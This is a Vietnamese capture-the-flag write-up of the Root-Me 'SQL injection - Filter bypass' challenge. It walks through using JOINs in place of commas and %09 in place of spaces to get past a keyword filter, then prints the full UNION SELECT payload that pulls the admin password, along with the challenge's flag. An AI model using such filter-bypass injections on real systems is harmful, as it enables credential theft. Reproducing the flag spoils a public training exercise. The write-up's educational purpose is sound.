SQL injection - Filter bypass¶
Estimated time to read: 4 minutes
May 05, 2023
Tài nguyên và link challenge¶
Tài nguyên của challenge này tại https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Filter-bypass
Link challenge này tại http://challenge01.root-me.org/web-serveur/ch33/
Tổng quan¶
Trong challenge này, mục tiêu của ta là lấy password admin.
Kịch bản tấn công¶
Bước 1: Kiểm tra website¶
Challenge này cung cấp cho ta 2 website: 1 cho việc login tài khoản, 1 cho việc xem các account thành viên (trang Members)
Như thường lệ ta tiêm vào url xem lỗ hổng, nhưng bài này bị filter mất tiêu gùi
Nhưng chờ chút, f12 website ra ta thấy được hint về database.
Ta có bảng membres
với 4 trường, ta cần khai thác ở trường username và password
Bước 2: Xem xét filter của website¶
Theo những filter mà tôi biết gồm or, and, ||, /**/, union, select, join, whitespace, like, =, %0a, %0b, %0c, ',comma(,),+,...
thì nó filter hết sạch :)
Quay trở lại phần hint về database, điều này giúp ta dễ dàng hơn trong việc bypass. Cụ thể ta cần lấy trường password. Oke payload ta sẽ có dạng union select pass,1,1,1 FROM membres LIMIT 1
. Nhưng vấn đề đặt ra ở đây là website này đã filter "," nên ta sẽ thay nó bằng câu truy vấn khác và sau khi tìm hiểu google thì từ câu truy vấn trên ta có thể thay thế bằng cách dùng phép kết (JOIN).
- Ví dụ ta có: select 1,2,3 thì tương ứng với
select * from membres limit 1 ((select 1)A join (select 2)B join (select 3)C)
Roài, bây giờ ta chuyển đổi thôi, câu lệnh mới thành: union select * from ((select pass from membres limit 1)A join (select 1)B join (select 2)C join (select 3)D)
.
Tuy nhiên, website này filter khoảng trắng
và filter kí tự thường nên ta dùng HTML URL-encoding1 thay thế thành %90
đồng thời chỉnh lại các từ khóa thành kí tự in hoa, ta được UNION%09SELECT%09*%09FROM%09((SELECT%09pass%09FROM%09membres%09LIMIT%091)A%09JOIN%09(SELECT%091)B%09JOIN%09(SELECT%091)C%09JOIN%09(SELECT%091)D)
Tóm lại, payload đầy đủ của ta là ...id=-1%09UNION%09SELECT%09*%09FROM%09((SELECT%09pass%09FROM%09membres%09LIMIT%091)A%09JOIN%09(SELECT%091)B%09JOIN%09(SELECT%091)C%09JOIN%09(SELECT%091)D)
Roài, ta submit flag thôi nào
Flag
KLfgyTIJbdhursqli
-
Xem document tại https://www.eso.org/~ndelmott/url_encode.html ↩